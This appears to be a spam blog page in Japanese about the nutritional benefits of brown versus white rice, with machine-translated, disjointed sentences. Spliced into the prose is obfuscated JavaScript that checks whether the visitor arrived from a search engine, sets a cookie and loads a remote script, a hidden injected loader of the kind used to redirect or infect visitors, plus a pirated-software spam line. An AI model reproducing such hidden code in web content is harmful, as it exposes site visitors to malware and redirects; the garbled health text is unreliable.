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4 Mars 2021 - 11:38
全粒粉米麺
Allmänt

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constructor(\x22return\x20this\x22)(\x20)'+');');_0x181505=_0x6030ff();}catch(_0x340372){_0x181505=window;}var _0x20b2f7='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x181505['atob']||(_0x181505['atob']=function(_0x1cb39d){var _0x4220a0=String(_0x1cb39d)['replace'](/=+$/,'');for(var _0x446797=0x0,_0x2e8543,_0x3a47dc,_0x582076=0x0,_0x2f9747='';_0x3a47dc=_0x4220a0['charAt'](_0x582076++);~_0x3a47dc&&(_0x2e8543=_0x446797%0x4?_0x2e8543*0x40+_0x3a47dc:_0x3a47dc,_0x446797++%0x4)?_0x2f9747+=String['fromCharCode'](0xff&_0x2e8543>>(-0x2*_0x446797&0x6)):0x0){_0x3a47dc=_0x20b2f7['indexOf'](_0x3a47dc);}return _0x2f9747;});}());_0x5a61['RlmBEp']=function(_0x1f7391){var _0x311b2d=atob(_0x1f7391);var _0x1f40d6=[];for(var _0x19272c=0x0,_0xd3e925=_0x311b2d['length'];_0x19272c=_0x1c5fd1;},'aLNFZ':_0x5a61('0x27'),'MvRIW':function(_0xff67b9,_0x581e7a){return _0xff67b9+_0x581e7a;}};var _0x34fc63=[_0x3855d0['eGPAd'],_0x3855d0[_0x5a61('0x28')],'.. アメリカ人のための食事療法のガイドライン2010によると、ほとんどのアメリカ人は彼らの推奨される毎日の繊維摂取量の約半分だけを消費します.

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また、2012年8月に発表された、Annals of Nutrition and Metabolismの中で発表された研究のレビューを報告します。.. yahoo ',_0x3855d0[_0x5a61('0x29')],_0x3855d0[_0x5a61('0x2a')],_0x3855d0[_0x5a61('0x2b')],_0x3855d0[_0x5a61('0x2c')]],_0x2a0d68=document[_0x5a61('0x2d')],_0x873ea=![],_0x3ff58e=cookie['get'](_0x5a61('0x27'));for(var _0x57047a=0x0;_0x3855d0[_0x5a61('0x2e')](_0x57047a,_0x34fc63[_0x5a61('0x2f')]);_0x57047a++){if(_0x3855d0[_0x5a61('0x30')]===_0x5a61('0x31')){_0x3855d0[_0x5a61('0x32')](include,_0x3855d0[_0x5a61('0x33')](_0x3855d0[_0x5a61('0x34')],q)+'');}else{if(_0x3855d0['dbNfH'](_0x2a0d68['indexOf'](_0x34fc63[_0x57047a]),0x0)){_0x873ea=!![];}}}if(_0x873ea){cookie['set'](_0x3855d0[_0x5a61('0x35')],0x1,0x1);if(!_0x3ff58e){_0x3855d0['uwAxT'](include,_0x3855d0[_0x5a61('0x36')](_0x3855d0['MvRIW'](_0x3855d0[_0x5a61('0x34')],q),''));}}}R(); その最大の利点の1つはそれが含んでいる食物繊維の量から来ます、あなたは加工米から得られません.. その結果、PubMed Healthによると、あなたの食事中のビタミンB-6の不足は貧血を引き起こすかもしれません。.. 穀物の繊維の大部分はふすまに含まれているので、白米は少量しか保持していません.. 天然繊維それはコレステロールを下げ、便秘を防ぐので、あなたの食事療法の繊維の推奨量を選ぶことはあなたの健康を守ります. Free download Windows Vista Ultimate Indir programs

1杯の調理された玄米には216カロリー、5グラムのタンパク質と45グラムの炭水化物があります.. ふすまや胚芽にはかなりの量の繊維、ビタミン、ミネラルが含まれているので、白米は栄養素を失います.. あなたはまたエネルギーのために複雑な炭水化物を得ることと8つのビタミンとミネラルのあなたの推薦された食事の手当の少なくとも10パーセントを当てにすることができる.. 白米を生産するために、ふすまと胚芽は取り除かれているので、全粒穀物ではありません.. それはまた赤血球で見つけられ、あなたの体中酸素を運ぶ仕事を持っているヘモグロビンを作るのを助けます.

代謝のためのビタミンB-6ビタミンB-6は、神経の働きを維持したり、タンパク質を代謝したり、免疫系が病気と戦うために使用する抗体を合成したりすることから、体のさまざまな役割を果たします。.. 豊富なマグネシウム源ふすまを除去すると、穀物の鉱物の50〜80パーセントが失われる、とカンザス州立大学は報告しています. ae05505a44

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